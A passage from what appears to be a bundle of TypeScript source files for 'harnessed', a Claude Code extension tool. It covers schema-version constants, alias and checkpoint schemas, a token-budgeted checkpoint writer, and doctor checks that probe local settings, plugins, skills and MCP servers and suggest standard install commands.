3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML manifest)\n capabilities: 'harnessed.capabilities.v1', // ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n judgment: 'harnessed.judgment.v1', // ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n workflow: 'harnessed.workflow.v2', // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (R20.1+R20.2+R20.9 workflow.yaml v2)\n workflow_v3: 'harnessed.workflow.v3', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to per Pattern A B.1 LOCK)\n discipline: 'harnessed.discipline.v1', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate, sister judgment.v1 multi-file pattern)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n Type.Literal(SCHEMA_VERSIONS.capabilities), // ← Phase v2.0-2.3 W0 ADD 14th surface\n Type.Literal(SCHEMA_VERSIONS.judgment), // ← Phase v2.0-2.3 W0 ADD 15th surface\n Type.Literal(SCHEMA_VERSIONS.workflow), // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (first .v2 in union)\n Type.Literal(SCHEMA_VERSIONS.workflow_v3), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (first .v3 in union)\n Type.Literal(SCHEMA_VERSIONS.discipline), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it.\n *\n * Phase v3.0-3.3 NOTE: `workflow.v3` and `discipline.v1` are the latest\n * surfaces. The v1 handler accepts any *known* surface regardless of version\n * suffix — consumers of v2/v3-only surfaces must check the literal explicitly\n * (the schema_version field is also Type.Literal-constrained at schema-level,\n * so structural drift fails earlier). */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // Any string matching a registered SCHEMA_VERSIONS value (v1, v2, or v3) routes\n // to the v1 handler — the legacy name reflects rule (a) \"known surface\" semantics.\n const isKnownVersion = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownVersion ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname, join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `<harnessed-root>/checkpoints/<phase>.json` (or customPath).\n * v3.0.3: default path routed through `getHarnessedRoot()` SoT (homedir-rooted).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? join(harnessedSubdir('checkpoints'), `${enforced.phase}.json`)\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.5 — Agent Teams capability probe (Q-AUDIT-5b\n// MANDATORY: schema is root-level `env.*` NOT nested `experimental.*`).\n// Sister RESEARCH § 4.3 verbatim implementation; wired by setup.ts / doctor.ts.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { resolve } from 'node:path'\n\nexport interface AgentTeamsCheckResult {\n status: 'pass' | 'warn' | 'missing'\n detected: { env: boolean; settingsJson: boolean }\n envValue?: string\n settingsValue?: string\n remediation?: string\n}\n\nexport async function checkAgentTeams(): Promise<AgentTeamsCheckResult> {\n const envValue = process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n const envOn = envValue === '1'\n\n let settingsValue: string | undefined\n let settingsOn = false\n try {\n const path = resolve(homedir(), '.claude', 'settings.json')\n const raw = await readFile(path, 'utf8')\n const data = JSON.parse(raw) as { env?: Record<string, string> }\n // Q-AUDIT-5b LOCKED: root-level env.* NOT nested experimental.*\n settingsValue = data.env?.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n settingsOn = settingsValue === '1'\n } catch {\n // settings.json missing / unparseable / invalid JSON — non-fatal, fall through to env probe\n }\n\n const detected = { env: envOn, settingsJson: settingsOn }\n if (envOn || settingsOn) {\n return { status: 'pass', detected, envValue, settingsValue }\n }\n\n return {\n status: 'missing',\n detected,\n envValue,\n settingsValue,\n remediation:\n 'Agent Teams not enabled. Add to ~/.claude/settings.json:\\n \"env\": { \"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\": \"1\" }\\nOR run: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1\\nOR export env var:\\n export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1\\nThen restart Claude Code (CC >= 2.1.133 required).',\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th doctor check delegate (Agent Teams env).\n// Wraps src/cli/lib/checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED) into the\n// CheckResult shape consumed by src/cli/doctor.ts (sister probe-gstack.ts\n// delegate pattern for Karpathy ≤200L doctor.ts hard limit守门).\n//\n// Status map: checkAgentTeams 'pass' → 'pass'; 'missing' → 'warn' (non-blocking\n// per CLAUDE.md L21 \"warn ≠ fail / exit 0\" R2.4.1 + R20.11 acceptance c).\n\nimport { checkAgentTeams } from './checkAgentTeams.js'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nexport async function checkAgentTeamsDoctor(): Promise<CheckResult> {\n const r = await checkAgentTeams()\n if (r.status === 'pass') {\n const source = r.detected.env ? 'env var' : 'settings.json'\n return {\n name: 'Agent Teams env',\n status: 'pass',\n message: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 (${source})`,\n }\n }\n return {\n name: 'Agent Teams env',\n status: 'warn',\n message: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS not set (Agent Teams disabled)',\n fix: r.remediation,\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 10th doctor check (planning-with-files plugin\n// presence per R20.15 acceptance d + D-15). File-based probe NOT shell CLI call\n// (sister checkAgentTeams.ts pattern; avoids dependency on `claude plugin list`).\n//\n// Probe path: ~/.claude/plugins/cache/planning-with-files/planning-with-files/<version>/\n// per capabilities.yaml planning-with-files.plugin_path field. Real install path\n// verified 2026-05-20: `~/.claude/plugins/cache/planning-with-files/planning-with-files/2.34.0/`.\n// Missing → warn (non-blocking per warn ≠ fail R2.4.1) with `claude plugin install` remediation.\n\nimport { readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\n// v3.9.1 — planning-with-files lives in OthmanAdi/planning-with-files\n// marketplace (NOT default claude marketplace). Two-step install:\n// 1. claude plugin marketplace add OthmanAdi/planning-with-files\n// 2. claude plugin install planning-with-files\nconst REMEDIATION =\n 'install via `claude plugin marketplace add OthmanAdi/planning-with-files && ' +\n 'claude plugin install planning-with-files` (requires >=2.2.0 per R20.15 + D-15)'\n\nconst INSTALL_COMMANDS = [\n 'claude plugin marketplace add OthmanAdi/planning-with-files',\n 'claude plugin install planning-with-files',\n] as const\n\nexport async function checkPlanningWithFiles(): Promise<CheckResult> {\n const root = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'planning-with-files',\n 'planning-with-files',\n )\n try {\n const entries = await readdir(root)\n // entries are version subdirs (e.g., '2.34.0'); at least one = installed.\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'planning-with-files plugin',\n status: 'pass',\n message: `installed (version ${versions.join(', ')})`,\n }\n }\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'plugin directory exists but no version subdir found',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n } catch {\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'not installed (plugin cache path missing)',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n }\n}\n","// v3.6.0 Phase 2 Wave 1 — 11th doctor check (mattpocock-skills install probe per\n// user reframe \"setup 时检测 mattpocock-skills 并安装\"). File-based probe NOT\n// shell CLI (sister check-planning-with-files.ts pattern; avoids dependency on\n// `claude plugin list`).\n//\n// Probe locations (try both per mattpocock dual support):\n// 1. ~/.claude/plugins/cache/mattpocock-skills/mattpocock-skills/<version>/ (plugin form)\n// 2. ~/.claude/skills/mattpocock-skills/ (user-skill form)\n// Either present → pass. Both missing → warn (non-blocking per warn ≠ fail R2.4.1)\n// — methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1,\n// so install is optional; remediation enables /grill-with-docs /zoom-out etc.\n// SlashCommand acceleration.\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\n// v3.9.1 — mattpocock-skills is NOT in any default Claude Code plugin marketplace\n// (v3.9.0 P4 dogfood discovery: `claude plugin install mattpocock-skills` fails\n// with \"Plugin not found in any configured marketplace\"). Correct install path\n// is the upstream `skills` CLI:\n// npx skills@latest add mattpocock/skills\n// which clones into ~/.claude/skills/mattpocock-skills (user-skill form).\nconst REMEDIATION =\n 'install via `npx skills@latest add mattpocock/skills` ' +\n '(or git clone https://github.com/mattpocock/skills ~/.claude/skills/mattpocock-skills); ' +\n 'methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1 — install ' +\n 'is optional but enables /grill-with-docs /zoom-out etc. SlashCommand acceleration'\n\nconst INSTALL_COMMANDS = ['npx skills@latest add mattpocock/skills'] as const\n\nexport async function checkMattpocockSkills(): Promise<CheckResult> {\n const pluginRoot = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'mattpocock-skills',\n 'mattpocock-skills',\n )\n const skillRoot = join(homedir(), '.claude', 'skills', 'mattpocock-skills')\n\n // Try plugin form first (sister check-planning-with-files.ts L24-43)\n try {\n const entries = await readdir(pluginRoot)\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'mattpocock-skills',\n status: 'pass',\n message: `installed as plugin (version ${versions.join(', ')})`,\n }\n }\n } catch {\n // fall through to user-skill check\n }\n\n // Try user-skill form\n try {\n await stat(skillRoot)\n return {\n name: 'mattpocock-skills',\n status: 'pass',\n message: `installed as user-skill (${skillRoot})`,\n }\n } catch {\n // fall through to warn\n }\n\n return {\n name: 'mattpocock-skills',\n status: 'warn',\n message: 'not installed (plugin cache + user-skill paths both missing)',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n}\n","// v3.6.0 Phase 2 Wave 2 — 12th doctor check (3 MCP server availability per\n// audit-harnessed-vs-user-rules-2026-05-25.md P1a \"MCP 自动探测 + fallback\n// hint\"). Reads ~/.claude/settings.json (NOT ~/.claude.json — user-scope\n// settings), checks if tavily-mcp / exa-mcp / chrome-devtools-mcp are\n// declared in the `mcpServers` block.\n//\n// Distinct from existing `checkMcpScope` which checks scope hygiene (project\n// vs user — CC #54803 risk); this check is server-by-server availability.\n// Substring match accepts forks/aliases (e.g. `tavily-mcp-fork` matches\n// `tavily-mcp` — still functionally compatible per harnessed web-search\n// routing).\n//\n// Missing → warn (non-blocking per R2.4.1 warn ≠ fail). harnessed routes\n// web-search to tavily/exa per workflows/judgments/web-search-routing.yaml —\n// without them, falls back to WebFetch/WebSearch built-in (degraded but functional).\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\nconst TARGET_SERVERS = ['tavily-mcp', 'exa-mcp', 'chrome-devtools'] as const\n\n// v3.9.1 — per-server install command (different transport / source per server).\n// Map key = TARGET_SERVERS entry; value = single-step install (each entry runs\n// independently in install chain — order does not matter for MCP add).\nconst SERVER_INSTALL_COMMANDS: Record<(typeof TARGET_SERVERS)[number], string> = {\n 'tavily-mcp': 'claude mcp add tavily-remote-mcp --transport http https://mcp.tavily.com/mcp/',\n 'exa-mcp': 'claude mcp add --transport http exa https://mcp.exa.ai/mcp',\n // chrome-devtools: official Claude marketplace direct install (v3.9.2 dogfood\n // confirmed — was assumed npx in v3.9.1 SPEC, corrected to official marketplace).\n 'chrome-devtools': 'claude plugin install chrome-devtools-mcp',\n}\n\ntype TargetServer = (typeof TARGET_SERVERS)[number]\n\nexport async function checkMcpAvailability(): Promise<CheckResult> {\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let installed: TargetServer[] = []\n let missing: TargetServer[] = [...TARGET_SERVERS]\n\n try {\n const raw = await readFile(settingsPath, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n const servers = parsed.mcpServers ?? {}\n const serverNames = Object.keys(servers)\n installed = TARGET_SERVERS.filter((s) =>\n serverNames.some((n) => n.includes(s) || s.includes(n)),\n )\n missing = TARGET_SERVERS.filter((s) => !installed.includes(s))\n } catch {\n // settings.json missing or malformed — all 3 effectively missing.\n // Keep installed=[] and missing=[...TARGET_SERVERS] defaults.\n }\n\n if (missing.length === 0) {\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'pass',\n message: `all 3 installed: ${installed.join(', ')}`,\n }\n }\n\n // Build per-server install command list for the missing subset (covers both\n // none-installed and partial-installed cases — sister single source of truth).\n const installCommands = missing.map((s) => SERVER_INSTALL_COMMANDS[s])\n\n if (installed.length === 0) {\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'warn',\n message: 'none of 3 target MCP servers installed in ~/.claude/settings.json',\n fix:\n 'install via per-server transport-specific command (see install_commands); ' +\n 'harnessed routes web-search to tavily/exa per 